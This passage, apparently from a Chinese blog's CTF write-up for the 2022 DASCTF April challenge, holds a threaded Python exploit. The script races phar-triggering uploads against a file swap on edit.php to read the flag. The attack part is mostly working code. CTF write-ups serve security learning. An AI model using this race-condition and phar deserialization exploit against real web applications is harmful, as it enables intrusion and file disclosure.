head = "uploads/head.png"
s = requests.session()
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}


# 触发phar
def uunlink():
    path = "edit.php"
    data = {
        "png": phar,
        "flag": "1"
    }
    r = s.post(url + path, data, proxies=proxies)
    if r.status_code == 429:
        time.sleep(1)


# 更改head.png为flag
def change():
    path = "edit.php"
    data = {
        "png": flag,
        "flag": "1"
    }
    r = s.post(url + path, data)
    if r.status_code == 429:
        time.sleep(1)


# 读取flag
def read_flag():
    path = head
    r = s.get(url + path)
    if r.status_code == 429:
        time.sleep(1)
    else:
        print(r.text)


while True:
    thread1 = threading.Thread(target=uunlink)
    thread1.start()
    thread2 = threading.Thread(target=change)
    thread2.start()
    thread3 = threading.Thread(target=read_flag)
    thread3.start()

那个脏数据的利用确实很惊艳,它大大的提高了多线程的碰撞!!

参考:2022DASCTF Apr X FATE 防疫挑战赛WP | CN-SEC 中文网

WP篇之2022DASCTF X FATE 四月挑战赛 | Arsene.Tang

2022DASCTF Apr X FATE 防疫挑战赛赛后复现 - 枫のBlog

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值